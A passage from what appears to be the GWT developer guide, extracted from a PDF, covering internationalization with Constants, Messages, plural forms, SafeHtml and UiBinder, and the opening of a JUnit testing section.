The following annotations apply to classes or interfaces: • • @DefaultLocale(String localeName) Specifies that text contained in this file is of the specified locale. If not specified, the default is en. @GeneratedFrom(String fileName) Indicates that this file was generated from the supplied file. Note that it is not required that this file name be resolvable at compile time, as this file may have been generated on a different machine, etc. — if the generator does check the source file, such as for staleness, it must not give any warning if the file is not present or if the name is not resolvable. @GenerateKeys(String generatorFQCN) Requests that the keys for each method be generated with the specified generator (see below). If this annotation is not supplied, keys will be the name of the method, and if specified without a parameter it will default to the MD5 implementation. The specified generator class must implement the KeyGenerator interface. By specifying a fully-qualified class name, this will be extensible to other formats not in the GWT namespace — the user just has to make sure the specified class is on the class path at compilation time. This allows integration with non-standard or internal tools that may use their own hash functions to coalesce duplicate translation strings between multiple applications or otherwise needed for compatibility with external tools. A string containing the fully-qualified class name is used instead of a class literal because the key generation algorithm is likely to pull in code that is not translatable, so cannot be seen directly in client code. If this annotation is not supplied, the key will be the simple name of the method.

341 / 469

@Generate(String[] formatFQCN, String filename, String[] locales) Requests that a message catalog file is generated during the compilation process. If the filename is not supplied, a default name based on the interface name is used. The output file is created under the -out directory. The format names are the fully-qualified class names which implement the MessageCatalogFormat interface. For example, this could generate an XLIFF or properties file based on the information contained in this file. Specific MessageCatalogFormat implementations may define additional annotations for additional parameters needed for that MessageCatalogFormat. If any locales are specified, only the listed locales are generated. If exactly one locale is listed, the filename supplied (or generated) will be used exactly; otherwise _locale will be added before the file extension. A string containing the fully-qualified class name is used instead of a class literal because the message catalog implementation is likely to pull in code that is not translatable, so cannot be seen directly in client code.

Method Annotations
The following annotations apply to methods: • @Key(String key) Specifies the key to use in the external format for this particular method. If not supplied, it will be generated based on the @GenerateKeys annotation, discussed above. @Description(String desc) A description of the text. Note that this is not included in a hash of the text and depending on the file format may not be included in a way visible to a translator. @Meaning(String meaning) Supplies a meaning associated with this text. This information is provided to the translator to distinguish between different possible translations — for example, orange might have meaning supplied as "the fruit" or "the color". Note that two messages with identical text but different meanings should have different keys, as they may be translated differently.

4.12.5.

Localized Properties Files

Static string internationalization uses traditional Java .properties files to manage translating tags into localized values. These files may be placed into the same package as your main module class. They must be placed in the same package as their corresponding Constants/Messages subinterface definition file. Tip: Use the i18nCreator script to get started.

$ i18nCreator -eclipse Foo com.example.foo.client.FooConstants Created file src/com/example/foo/client/FooConstants.properties Created file FooConstants-i18n.launch Created file FooConstants-i18n

Both Constants and Messages use traditional Java properties files, with one notable difference: properties files used with GWT should be encoded as UTF-8 and may contain Unicode characters directly, avoiding the need for native2ascii. See the API documentation for the above interfaces for examples and formatting details. Many thanks to the Tapestry project for solving the problem of reading UTF-8 properties files in Tapestry's LocalizedProperties class. In order to use internationalized characters, make sure that your host HTML file contains the charset=utf8 content type in the meta tag in the header:
<meta http-equiv="content-type" content="text/html;charset=utf-8" />

You must also ensure that all relevant source and .properties files are set to be in the UTF-8 charset in your IDE.

342 / 469

4.12.6.

Constants

This example will walk through the process of creating a class of internationalized constant strings "hello, world" and "goodbye, world" in your GWT application. The example will create a Java interface named MyConstants that abstracts those strings. You can reference the MyConstants methods in your GWT code when you want to display one of those strings to the user and they will be translated appropriately for all locales that have matching .properties files. Begin by creating a default properties file called MyConstants.properties in your GWT project. You can place the file anywhere in your module's source path, but the .properties file and corresponding interface must be in the same package. It's fine to place the file in the same package as your module's entry point class.
helloWorld = hello, world goodbyeWorld = goodbye, world

You can also create a localized translation for each supported locale in separate properties files. The properties file must be named the same as our interface name, in our case MyConstants, with the appropriate suffix that indicates the locale setting. In this case, we localize for Spanish using the filename MyConstants_es.properties:
helloWorld = hola, mundo goodbyeWorld = adiós, mundo

Now define an interface that abstracts those strings by extending the built-in Constants interface. Create a new Java interface in the same package where the .properties files were created. The method names must match the tag names uses in the .properties files:
public interface MyConstants extends Constants { String helloWorld(); String goodbyeWorld(); }

Tip: The i18nCreator tool automates the generation of Constants interface subinterfaces like the one above. The tool generates Java code so that you only need to maintain the .properties files. It also works for ConstantsWithLookup and Messages classes. Note that MyConstants is declared as an interface, so you cannot instantiate it directly with new. To use the internationalized constants, you create a Java instance of MyConstants using the GWT.create(Class) facility:
public void useMyConstants() { MyConstants myConstants = GWT.create(MyConstants.class); Window.alert(myConstants.helloWorld()); }

You don't need to worry about the Java implementation of your static string classes. Static string initialization uses a deferred binding generator which allows the GWT compiler to take care of automatically generating the Java code necessary to implement your Constants subinterface depending on the locale.

ConstantsWithLookup
The ConstantsWithLookup interface is identical to Constants except that the interface also includes a method to look up strings by property name, which facilitates dynamic binding to constants by name at runtime. ConstantsWithLookup can sometimes be useful in highly data-driven applications. One caveat: ConstantsWithLookup is less efficient than Constants because the compiler cannot discard unused constant methods, resulting in larger applications.

Using Annotations
The annotations discussed here are the ones specific to Constants and ConstantsWithLookup — for shared annotations see the main Internationalization page.

343 / 469

Method Annotations
The following annotations apply to methods in a Constants subtype and must correspond to the return type of the method. They provide a type-safe way to reference constants, and can include Java compile-time constant references. • • • • • • @DefaultBooleanValue(boolean val) Sets the default value for a method which returns a boolean. @DefaultDoubleValue(double val) Sets the default value for a method which returns a double. @DefaultFloatValue(float val) Sets the default value for a method which returns a float. @DefaultIntValue(int val) Sets the default value for a method which returns a int. @DefaultStringArrayValue({String str, …}) Sets the default value for a method which returns a String array. @DefaultStringMapValue({String key, String value, …}) Sets the default value for a method which returns a Map<String,String> or a raw map (which will still be a String=>String map). The number of supplied values must be even, and the first entry of each pair is the key and the second is the value. @DefaultStringValue(String str) Sets the default value for a method which returns a String.

Using Property Files
The properties file format for Constants and ConstantsWithLookup is simply key=value, but there are a few points to remember: • • # must be escaped as it is a comment character When the type of the method is String[], an ASCII comma is used to separate values, which means that any commas included in a value must be escaped with a backslash. Also, beware of translators using a different character to separate translated values. In the case of a Map-valued method, the entry in the properties file for that method will be a comma-separated set of keys, and then those keys have their own entries with their associated value. Example:
Map<String,String> colorMap(); colors=header, body, footer header=red body=white footer=blue produces a map { header=>red, body=>white, footer=>blue }.

4.12.7. Overview

Messages

The Messages interface allows you to substitute parameters into messages and even to re-order those parameters for different locales as needed. The format of the messages in the properties files follows the specification in Java MessageFormat (note that the choice format type is not supported with some extensions). The interface you create will contain a Java method with parameters matching those specified in the format string. Here is an example Messages property value:
permissionDenied = Error {0}: User {1} Permission denied.

The following code implements an alert dialog by substituting values into the message:

344 / 469

public interface ErrorMessages extends Messages { String permissionDenied(int errorCode, String username); } ErrorMessages msgs = GWT.create(ErrorMessages.class) void permissionDenied(int errorVal, String loginId) { Window.alert(msgs.permissionDenied(errorVal, loginId)); }

Caution: Be advised that the rules for using quotes may be a bit confusing. Refer to the MessageFormat javadoc for more details.

More Advanced Formatting
As described in the MessageFormat javadoc, you can do more formatting with values besides just inserting the value into the string. If no format type is supplied, the value is just appended to the output string at the proper position. If you want it formatted as a number, you can use {0,number} which will use the locale's default number format, or {0,number,currency} to use the locale's default currency format (be careful about which currency you are using though), or create your own pattern like {0,number,#,###.0}. Dates can be formatted with {0,date,medium} etc., and likewise with times: {0,time,full}. Note that supplying your own format pattern means you are now responsible for localizing that pattern — if you do {0,date,MM/DD/YY} for example, this pattern will be used for all locales and some of them will likely be confused by the month coming before the day.

The Benefits of Static String Internationalization
As you can see from the example above, static internationalization relies on a very tight binding between internationalized code and its localized resources. Using explicit method calls in this way has a number of advantages. The GWT compiler can optimize deeply, removing uncalled methods and inlining localized strings — making generated code as efficient as if the strings had been hard-coded. The value of compile-time checking becomes even more apparent when applied to messages that take multiple arguments. Creating a Java method for each message allows the compiler to check both the number and types of arguments supplied by the calling code against the message template defined in a properties file. For example, attempting to use the following interface and .properties files results in a compile-time error:
public interface ErrorMessages extends Messages { String permissionDenied(int errorCode, String username); } permissionDenied = Error {0}: User {1} does not have permission to access {2}

An error is returned because the message template in the properties file expects three arguments, while the permissionDenied method can only supply two.

GWT-specific formats
In addition to the formatting supported by MessageFormat, GWT supports a number of extensions. {name,text} A "static argument", which is simply text, except that it appears in translation output as if it were a placeholder named name. text is always terminated by the next "}". This is useful to keep non-translated code out of what the translator sees, for example HTML markup:
@DefaultMessage("Welcome back, {startBold,<b>}{0}{endBold,</b>}")

{0,list} or {0,list,format...} Format a List or array using locale-specific punctuation. For example, in English, lists would be formatted like this:

345 / 469

# of Items 0 1 2 3

Sample Output (empty string) a a and b a, b, and c

Note that only the locale-default separator and the logical conjuctive form is supported -- there is currently no way to produce a list like "a; b; or c". See the plurals documentation for how this interacts with plural support. The format following the list tag, if any, describes how each list element is formatted. Ie, {0,list} means every element is formatted as if by {0}, {0,list,number,#,###} as if by [0,number,#,###}, etc. {0,localdatetime,skeleton} Format a date/time in a locale-specific format using the supplied skeleton pattern. The order of the pattern characters doesn't matter, and spaces or other separators don't matter. The localized pattern will contain the same fields (but may change MMM into LLL for example) and the same count of each. If one of the predefined formats are not sufficient, you will be much better off using a skeleton pattern so you will include the items you want but still get a localized format. For example, if you used {0,date,MM/dd/yy} to format a date, you get exactly that pattern in every locale, which is going to cause confusion for those users who expect dd/MM/yy. Instead, you can use {0,localdatetime,MMddyy} and you will get properly localized patterns for each locale. {0,localdatetime,predef:PREDEF_NAME} Use a locale-specific predefined format -- see DateTimeFormat.PredefinedFormat for possible values, example: {0,localdatetime,predef:DATE_SHORT}. extra formatter arguments Some formatters accept additional arguments. These are added to the main format specification, separated by a colon -- for example: {0,list,number:curcode=USD,currency} says to use the default currency format for list elements, but use USD (US Dollars) for the currency code. You can also supply a dynamic argument, such as {0,localdatetime:tz=$tz,predef:DATE_FULL}, which says the timezone to use is supplied by a parameter TimeZone tz supplied to the method. Where supported, multiple arguments can be supplied like {0,format:arg1=val:arg2=val}. Currently supported arguments: Format number date, time, or localdatetime Argument Name curcode tz Argument Type String TimeZone Description Currency code to use for currency formatting Time zone to use for date/time formatting

346 / 469

Using Annotations
The annotations discussed here are the ones specific to Messages — for shared annotations see the main Internationalization page.

Method Annotations
The following annotations apply to methods in a Messages subtype: • @DefaultMessage(String message) Specifies the message string to be used for the default locale for this method, with all of the options above. If an @AlternateMessage annotation is present, this is the default text used when more specific forms do not apply — for count messages in English, this would be the plural form instead of the singular form. @AlternateMessage({String form, String message, …}) Specifies the text for alternate forms of the message. The supplied array of strings must be in pairs, with the first entry the name of an alternate form appropriate for the default locale, and the second being the message to use for that form. See the Plural Forms and Select Forms examples below.

Parameter Annotations
The following annotations apply to parameters of methods in a Messages subtype: • @Example(String example) An example for this variable. Many translation tools will show this to the translator instead of the placeholder — i.e., Hello {0} with @Example("John") will show as Hello John with "John" highlighted to indicate it should not be translated. @Optional Indicates that this parameter need not be present in all translations. If this annotation is not supplied, it is a compile-time error if the translated string being compiled does not include the parameter. @PluralCount Indicates that this parameter is used to select which form of text to use (ie, 1 widget vs. 2 widgets). The argument annotated must be int, short, an array, or a list (in the latter cases the size of the list is used as the count).

Plural Forms
The Messages interface also supports the use of plural forms. In English, you want to adjust the word being counted based on whether the count is 1 or not. For example:
You have one tree. You have 2 trees.

Other languages may have far more complex plural forms. Fortunately, GWT allows you to easily handle this problem as follows:
public interface MyMessages extends Messages { @DefaultMessage("You have {0} trees.") @AlternateMessage({"one", "You have one tree."}) String treeCount(@PluralCount int count); }

Then, myMessages.treeCount(1) returns "You have one tree." while myMessages.treeCount(2) returns "You have 2 trees."

See the details for using plural forms.

347 / 469

Select Forms
Similar to plural forms above, you might need to choose messages based on something besides a count. For example, you might know the gender of a person referenced in the message ("{0} gave you her credits"), or you might want to support abbreviated and full versions of a message based on user preference.
public enum Gender { MALE, FEMALE, UNKNOWN } public interface MyMessages extends Messages { @DefaultMessage("{0} gave you their credits.") @AlternateMessage({ "MALE", "{0} gave you his credits.", "FEMALE", "{0} gave you her credits." }) String gaveCredits(String name, @Select Gender gender); }

The default message is used if no form matches, in this case if gender is null or UNKNOWN. @Select parameters may be integral primitives, Stings, booleans, or enums.

SafeHtml Messages
Sometimes, message formats you create include HTML markup, with the resulting messages intended for use in an HTML context, such as the content of an InlineHTML widget. If the message is parameterized and the value of a String-typed parameter is derived from untrusted input, the application is vulnerable to Cross-Site-Scripting (XSS) attacks. To avoid XSS vulnerabilities due to the use of messages in HTML contexts, you can declare methods in your Messages interfaces with a return type of SafeHtml:
public interface ErrorMessages extends Messages { @DefaultMessage("A <strong>{0} error</strong> has occurred: {1}.") SafeHtml errorHtml(String error, SafeHtml details); } ErrorMessages msgs = GWT.create(ErrorMessages.class) void showError(String error, SafeHtml details) { errorBar.setHTML(msgs.errorHtml(error, details)); errorBar.setVisible(true); }

For SafeHtml messages, the code generator generates code that is guaranteed to produce values that satisfy the SafeHtml type contract and are safe to use in an HTML context. Before a parameter's value is substituted into a message, the parameter's value is automatically HTML-escaped, unless the parameter's declared type is SafeHtml. In the above example, the error parameter is HTML escaped before substitution into the template, while the details parameter is not. The details parameter can be substituted into the message without escaping because the SafeHtml type contract guarantees that its value is indeed safe to use as HTML without further escaping. For more information on how to create SafeHtml values, refer to the SafeHtml Developer's Guide. In message formats of SafeHtml messages, parameters are not allowed inside of an HTML tag. For example, the following is not a valid SafeHml message format, because the {0} parameter appears inside a tag's attribute:
errorHtmlWithClass = A <span class="{0}">{1} error</span> has occurred.

For more information on working with SafeHtml values, see the SafeHtml Developer's Guide.

348 / 469

4.12.8. Overview

Plural Forms

Most languages alter the form of a word being counted based on the count. For example, in English:
You have 1 tree. You have 2 trees.

Other languages have different rules: • • • In French, the singular form is used for 0 as well as 1 Arabic has 5 special plural forms in addition to the default Some languages don't have plural forms at all

GWT provides a way to choose different messages based on the count of something at runtime, using the Messages interface, and provides plural rules for hundreds of languages by default.

Example
First, an example Messages interface:
@DefaultLocale("en") // not required since this is the default public class MyMessages extends Messages { @DefaultMessage("There are {0,number} items in your cart.") @AlternateMessage({"one", "There is 1 item in your cart.") String cartItems(@PluralCount int itemCount); }

Note that the parameter which controls which plural form is used is marked with the @PluralCount annotation, and that the plural forms for the default language (en unless specified with @DefaultLocale are defined in the @AlternateMessage annotation. If your default language is not English, you may have a different set of plural forms here. Let's assume you have added the en, fr and ar locales to your module. Now you need translations for each of these locales (except en, which will be picked up from the annotations). Note: I am using English in these "translations" for clarity -- you would actually want to use real translations.
MyMessages_fr.properties cartItems=There are {0,number} items in your cart. cartItems[one]=There is {0,number} item in your cart.

Note that the "one" plural form in French is used for both 0 and 1, so you can't hard-code the count in the string like you can for English.
MyMessages_ar.properties cartItems=There are {0,number} items in your cart. cartItems[none]=There are no items in your cart. cartItems[one]=There is one item in your cart. cartItems[two]=There are two items in your cart. cartItems[few]=There are {0,number} items in your cart, which are few. cartItems[many]=There are {0,number} items in your cart, which are many.

The Arabic plural rules that GWT uses are: • • • • • • none - the count is 0 one - the count is 1 two - the count is 2 few - the last two digits are from 03-10 many - the last two digits are from 11-99 The default form is used for everything else, ie. 101, 202, etc.

349 / 469

The standards for how to represent plural forms in translations is still a work in progress. Properties files don't have any particular support, so we invented the [plural_form] syntax to specify them. Hopefully this will improve over time, and we can support more standard approaches to getting translated messages with plural forms back into GWT.

Exact Values
Sometimes you need to provide special messages, even if the grammar of the language doesn't require it. For example, it is generally better to say something like "You have no messages" rather than "You have 0 messages". You can specify that using a plural form "=N", such as:
public class MyMessages extends Messages { @DefaultMessage("There are {0,number} items in your cart.") @AlternateMessage({ "one", "There is 1 item in your cart.", "=0", "Your cart is empty.", ) String cartItems(@PluralCount int itemCount); }

and the properties file entry would look like:
cartItems[\=0]=Your cart is empty.

Note the escaping of the equals sign, since that separates the key from the value in a properties file. See the next item for another use of Exact Values.

Offsets
In some cases, you may want to alter the count before applying the plural rules to it. For example, if you are saying "Bob, Joe, and 3 others ate pizza", you probably have a list of 5 people. You could specifically code subtracting that and choosing different messages based on the number of people, but it is much easier and likely to get better translations by keeping all the different messages together. You can do it like this:
public class MyMessages extends Messages { @DefaultMessage("{1}, {2} and {0} others are here.") @AlternateMessage({ "=0", "Nobody is here.", "=1", "{1} is here.", "=2", "{1} and {2} are here.", "one", "{1}, {2}, and one other are here.", ) String peopleHere(@PluralCount @Offset(2) String[] names, String name1, String name2); } ... String[] names; alert(peopleHere(names, names.length > 0 ? names[0] : null, names.length > 1 ? names[1] : null));

Note that you can pass in an array for a @PluralCount parameter -- its length is used for the count (java.util.List implementations work similarly). The @Offset annotation indicates that the supplied offset should be applied before looking up the correct plural rule. However, note that exact value matches are compared before the offset is applied. So, when the count is 0, "Nobody is here" is chosen; if the count is 3, "{1}, {2}, and one other are here" is chosen because 2 is subtracted from the count before looking up the plural form to use. BTW, we know it is somewhat klunky to have to pass in the names this way. In the future, we will add a way of referencing elements in the list/array from the placeholders, where you could simply call peopleHere(names).

350 / 469

Lists
This is slightly off-topic for plurals, but it is related. GWT supports formatting lists, using the locale-appropriate separators. For example:
public class MyMessages extends Messages { @DefaultMessage("Orders {0,list,number} are ready for pickup.") @AlternateMessage({ "=0", "No orders are ready for pickup.", "one", "Order {0,list,number} is ready for pickup." }) String ordersReady(@PluralCount List<Integer> orders); }

The format specifier {0,list,number} says that argument 0 is to be formatted as a list, with each element formatted as a number. The same format options are available as if it weren't an element in a list, so {0,list,number:curcode=USD,currency} would work too. As before, either arrays or java.util.List instances work fine, and the requirements of types for formatting remain the same as if it weren't a list. In English, the results would be: • • • • ordersReady(Arrays.asList()) => "No orders are ready for pickup." ordersReady(Arrays.asList(14)}) => "Order 14 is ready for pickup." ordersReady(Arrays.asList(14, 17)) => "Orders 14 and 17 are ready for pickup." ordersReady(Arrays.asList(14, 17, 21)) => "Orders 14, 17, and 21 are ready for pickup."

Note that GWT only knows about the default list separators used for a language, and that while you might want to say something like "a, b, or c", there is currently no way to express that.

4.12.9.

UiBinder

This document explores the internationalization features of UiBinder templates. More general information about UiBinder can be found in Declarative Layout with UiBinder. 1. 2. 3. 4. 5. 6. 7. 8. Background Bonjour, Tout Le Monde Simple HTML Tags Inside a Message Messages with Unclobberable Portions Messages with Values Computed at Runtime Messages Containing Widgets (HTMLPanel Only) HTML Attributes that Need Translation Words with Multiple Meanings

Background
UiBinder templates can be marked up for localization. You use the <ui:msg> and <ui:attribute> elements to indicate which portions of the template should be translated, then provide properties files with localized versions of the messages when building your app. As in the main UiBinder page, the rest of this page explains how to make your UI templates localizable through a series of typical use cases. Note: You will see a lot of parallels to working with the Messages system, and with good reason: UiBinder's I18n features are implemented by generating a hidden com.google.gwt.i18n.client.Messages interface for each template. Except for plural forms, anything you can do via Messages you should also be able to do in a template.

351 / 469

Bonjour, Tout Le Monde
Here's how to turn the feature on. Original
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'> <div>Hello, world.</div> </ui:UiBinder>

Tagged
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder' ui:generateFormat='com.google.gwt.i18n.rebind.format.PropertiesFormat' ui:generateKeys="com.google.gwt.i18n.rebind.keygen.MD5KeyGenerator" ui:generateLocales="default"> <div><ui:msg description="Greeting">Hello, world.</ui:msg></div> </ui:UiBinder>

We've done two things here. We've configured UiBinder's I18N features by adding a few attributes to the root <ui:UiBinder> element, and we've tagged our text as being an individual message that needs translation. First look at our "Hello, world." text. By putting it in a <ui:msg> element we've identified it as a single piece of translatable text, a message. The message's description attribute will accompany the message on its way to the translator to explain its use. The description may well be the only bit of context the translator sees, so even though it's an optional attribute you really should always provide one. Now that we have something that needs to be translated, we set our configuration to say how it should be done via attributes on the root <ui:UiBinder> element. These ui:generate* attributes correspond to the arguments of LocalizableResource's @Generate annotation. Here's what they mean. ui:generateFormat We want a file in the java properties format to be generated. ui:generateKeys We want the property keys to be MD5 hashes of the message content, so that the translations will survive as the messages move around within the template. (And if we take some care with how we manage our translated properties files, a message that happens to be used in more than one template will only need to be translated once.) ui:generateLocales And we want the generated properties to be part of the default locale. (Read more about the default locale and fallback properties in Locales in GWT.) When you compile your application, pass the -extras argument to the gwt compiler to tell it to generate its "extra" auxiliary files. A properties file will be generated for each template, containing an entry for each message tagged for localization, something like:
# Generated from my.app.HelloWorldMyBinderImplGenMessages # for locale default # Description: Greeting 022A824F26735ED0582324BE34F3CAE1=Hello, world.

The names of the generated files are a bit unfortunate, based on the UiBinder interfaces you declare. For example, • if this template is used by com.example.app.client.Hello.Binder; • in a module named App; • and you've run the gwt compiler with -extra /tmp/gwt-extras; • you'll find the file in /tmp/gwtextras/com.example.app.App/com.example.app.client.HelloBinderImplGenMessages.prope rties. No kidding. Hopefully this will be cleaned up in a future release of the toolkit. Your translators can then create localized versions of this file that can sit next to your ui.xml file. Continuing the example at hand, a Mexican Spanish version of this properties file would be named HelloBinderImplGenMessages_es_MX.properties (note that the "com.example..." prefix is dropped).

352 / 469

You don't have to use md5 keys. If you prefer to create your own, the <ui:msg> element accepts a key attribute to let you do just that. On the other hand, if you stick with md5 keys you can gather all of your app's translations for a particular locale into a single file, rather than keeping them scattered throughout your code base. The magic name is LocalizableResource_<locale>.properties, and you must put it in package com/google/gwt/i18n/client. (This works because i18n property file lookup walks up the class inheritance tree, and all Messages interfaces descend from LocalizableResource.) Some projects use scripts to maintain these unified translation files. See this wiki entry from the puzzlebazar project for an example. There are are a couple of other I18N attributes that can be set on the <ui:UiBinder> element, corresponding to other Localizable annotations, but you'll rarely change them from their default values. ui:defaultLocale See @DefaultLocale for details ui:generateFilename See @Generate(fileName = "...") for details ui:baseMessagesInterface Sets the base interface to use for generated messages. The value must be the fully-qualified class name of an interface that extends Messages. You can then put whatever annotations you want there, making it easy to have company or project-wide settings that can be changed in just one place. You can still use the other attributes to override defaults inherited from that interface if necessary.

Simple HTML Tags Inside a Message
A message element in a context where HTML is appropriate can hold HTML markup. Original
We <b>strongly</b> urge you to reconsider.

Tagged
<ui:msg>We <b>strongly</b> urge you to reconsider.</ui:msg>

Simple formatting is reasonable to put in front of a translator, and so UiBinder supports HTML in messages, not just text.

Messages with Unclobberable Portions
Sometimes you will need to put opaque blocks inside of a message, to keep your translators from breaking your app. Original
<!-- Uh oh, don't want translator to mess up brand CSS or the trademark span --> <div><span class="brand">Colgate</span>, with MFP!<span class="tm">TM</span></div>

Tagged
<div> <ui:msg description="blurb"><span class="brand" ui:ph="brandedSpan">Colgate</span>, with MFP!<ui:ph name="trademark"><span class="tm">TM</span></ui:ph></ui:msg> </div>

Generated
# Description: blurb # 0=arg0 (Example: <span class='brand'>), 1=arg1 (Example: </span>), 2=arg2 (Example: <span class='tm'>TM</span>) 6E8B421C6A7C1FEAE23FAA9D43C90D5E={0}Colgate{1}, with MFP\!{2}

353 / 469

There are two examples in here. First, you see a ui:ph attribute that can be added to any child of a ui:msg, to indicate that placeholders should be created to protect it from translators. Two placeholders are created, for the opening and closing tags of the element (in this case, brandedSpanOpen and brandedSpanClose). Second, we see an element, also named ui:ph, that can surround an arbitrary bit of markup to be protected in its entirety (in this case, the trademark placeholder). So, you have both an element to surround untranslatable runs: <ui:ph>don't translate</ui:ph>, and an attribute to put in arbitrary elements to hide their begin and end tags from translators, but keep their content as part of the translatable message: <span ui:ph>attribute</span>. Note that you can put the ui:ph attribute in any DOM element, it's not particular to <span>.

Messages with Values Computed at Runtime
When you want to change portions of a template at runtime, you typically put a ui:field in a span or other element and play with its HTML. When you do that inside a <ui:msg>, it is automatically protected from translation for you. Original
<!-- Java code will make calls like getClosingDate().setInnerText(closingDate()) --> (closed <span ui:field="closingDate" /> through <span ui:field="reopeningDate"/>)

Tagged
<ui:msg description='closed for business message'> (closed <span ui:field='closingDate' /> through <span ui:field='reopeningDate'/>) </ui:msg>

Generated
# Description: closed for business message # 0=arg0 (Example: <span id=''>), 1=arg1 (Example: </span>), 2=arg2 (Example: <span id=''>), 3=arg3 (Example: </span>) E30D43242E1AD2AC2EFA1AEEEFDFCC33=(closed {0}{1} through {2}{3})

There is good news and bad news here. The good news is that you don't have to add any ui:ph attributes or elements to protect the begin and end tags of the spans marked with ui:field attributes. The bad news is that there is nothing stopping the translator from sticking arbitrary things between those begin and end tags. (Notice {0}{1} and {2}{3}.) If that's a concern, you need to put the named spans inside <ui:ph> elements to make them opaque, like so: Tagged
<ui:msg> (closed <ui:ph name='closingDate' example="7/12/2008"><span ui:field="closingDate"/></ui:ph> through <ui:ph name='reopeningDate' example="7/12/2008"><span ui:field="reopeningDate"/></ui:ph>) </ui:msg>

Generated
# 0=arg0 (Example: 7/12/2008), 1=arg1 (Example: 7/12/2008) 53B9CF65553DFAA091435791E5C731E7=(closed {0} through {1})

The example attribute is optional, and allows you to give the translator a more useful explanation of what your placeholders are for.

354 / 469

Message Containing Widgets (HTMLPanel Only)
When working with <g:HTMLPanel> elements, you may find yourself placing widgets inside your messages. No problem! Original
<g:HTMLPanel> Meeting starts at <my:TimePicker ui:field="startPicker"/> and ends at <my:TimePicker ui:field="endPicker"/>. </g:HTMLPanel>

Tagged
<g:HTMLPanel> <ui:msg>Meeting starts at <my:TimePicker ui:field="startPicker"/> and ends at <my:TimePicker ui:field="endPicker"/>. </ui:msg> </g:HTMLPanel> # 0=arg0 (Example: <span>), 1=arg1 (Example: </span>), 2=arg2 (Example: <span>), 3=arg3 (Example: </span>) 23CBEA252C9901BF84D757FAD4968289=Meeting starts at {0}{1} and ends at {2}{3}.

Note that there is no ui:ph attribute on the widgets. There's no need for them, as there is no ambiguity about what must be done when a widget shows up in the middle of a message. Note also that you can only do this kind of thing (widgets in messages) inside of an HTMLPanel, the only widget in the GWT collection that intermixes markup and child widgets. More than you wanted to know: You may have noticed that the message in the generated properties file has "too many" placeholders for each widget, which means the translator might introduce unwanted text into the spans that will be replaced with the widgets at runtime. If that happens, no harm will be done beyond wasting the translator's time, as the text will be lost when then widget is put in place. Your user won't see it. Things get even more interesting when you put a widget with text body inside a message in an HTMLPanel. (That is, a widget that implements HasText or HasHTML.) Original
<g:HTMLPanel> To do the thing, <g:Hyperlink targetHistoryToken="/doThe#thing">click here</g:Hyperlink> and massage vigorously. </g:HTMLPanel>

Tagged
<g:HTMLPanel> <ui:msg> To do the thing, <g:Hyperlink targetHistoryToken="/doThe#thing">click here</g:Hyperlink> and massage vigorously. </ui:msg> </g:HTMLPanel>

Generated
# 0=arg0 (Example: <span>), 1=arg1 (Example: </span>) 8EFBF967A3FEFE78C41C8A298562A094=To do the thing, {0}click here{1} and massage vigorously.

355 / 469

HTML Attributes that Need Translation
Body text isn't the only thing that will need translation — attributes may need the same treatment. The title attribute, for tool-tip text, and the alt tag of an <img> are the most common examples. Original
<th title="Gross recipts">Gross</th>

Tagged
<th title="Gross receipts"> <ui:attribute ui:name='title' ui:description='Tooltip text for gross column'/> <ui:msg description='name of gross column'>Gross</ui:msg> </th>

Words with Multiple Meanings
Be careful of words that mean different things in different contexts. Original
Favorite Color: <ui:RadioButton name="color">Red</ui:RadioButton> <ui:RadioButton name="color">Orange</ui:RadioButton> Favorite Fruit: <ui:RadioButton name="fruit">Apple</ui:RadioButton> <ui:RadioButton name="fruit">Orange</ui:RadioButton>

Tagged
Favorite Color: <ui:RadioButton name="color"><ui:msg>Red</ui:msg></ui:RadioButton> <ui:RadioButton name="color"><ui:msg meaning="the color"/>Orange</ui:msg></ui:RadioButton> Favorite Fruit: <ui:RadioButton name="fruit"><ui:msg>Apple</ui:msg></ui:RadioButton> <ui:RadioButton name="fruit"><ui:msg meaning="the fruit">Orange<ui:msg></ui:RadioButton>

Generated
# Meaning: the color 4404BE8C34552617D633271BBC1FAB07=Orange # Meaning: the fruit 7A6DCA1ACC86B4A7D7574CD6BDD4E0C1=Orange 9F6290F4436E5A2351F12E03B6433C3C=Apple EE38E4D5DD68C4E440825018D549CB47=Red

The punchline here is that a translator may well be working with no more context than the attributes you set on an individual message. And if you're set up to share a big pool of translations distinguished only by their MD5 hash sums, you may simply be unable to provide translations for the two flavors of Orange needed here. You can get around this by using the optional meaning attribute. Unlike description, a message's meaning actually affects its hash id.

356 / 469

4.13. JUnit Testing
Creating a battery of good unit test cases is an important part of ensuring the quality of your application over its lifecycle. To aid developers with their testing efforts, GWT provides integration with the popular JUnit unit testing framework and Emma code coverage tool. GWT allows JUnit test cases to run in either development mode or production mode. Note: To run through the steps to add JUnit tests to a sample GWT app, see the tutorial Unit Testing GWT Applications with JUnit. 1. 2. 3. 4. 5. 6. Architecting Your App for Testing Creating & Running a Test Case Asynchronous Testing Combining TestCase classes into a TestSuite Setting up and tearing down JUnit test cases that use GWT code Running tests in Eclipse

4.13.1.

Architecting Your App for Testing

The bulk of this page is dedicated to explaining how to unit test your GWT code via the GWTTestCase class, which at the end of the day must pay performance penalties for running in a browser. But that's not always what you want to do. It will be well worth your effort to architect your app so that the bulk of your code has no idea that it will live in a browser. Code that you isolate this way can be tested in plain old JUnit test cases running in a JRE, and so execute much faster. The same good habits of separation of concerns, dependency injection and the like will benefit your GWT app just as they would any other, perhaps even more than usual. For some tips along these lines take a look at the Best Practices For Architecting Your GWT App talk given at Google I/O in May of 2009. And keep an eye on this site for more more articles in the same vein.

4.13.2.

Creating a Test Case

This section will describe how to create and run a set of unit test cases for your GWT project. In order to use this facility, you must have the JUnit library installed on your system.

The GWTTestCase Class
GWT includes a special GWTTestCase base class that provides JUnit integration. Running a compiled GWTTestCase subclass under JUnit launches the HtmlUnit browser which serves to emulate your application behavior during test execution. GWTTestCase is derived from JUnit's TestCase. The typical way to setup a JUnit test case class is to have it extend TestCase, and then run the it with the JUnit TestRunner. TestCase uses reflection to discover the test methods defined in your derived class. It is convention to begin the name of all test methods with the prefix test.

Using webAppCreator
The webAppCreator that GWT includes can generate a starter test case for you, plus ant targets and eclipse launch configs for testing in both development mode and production mode. For example, to create a starter application along with test cases in the directory fooApp, where module name is com.example.foo.Foo:

357 / 469

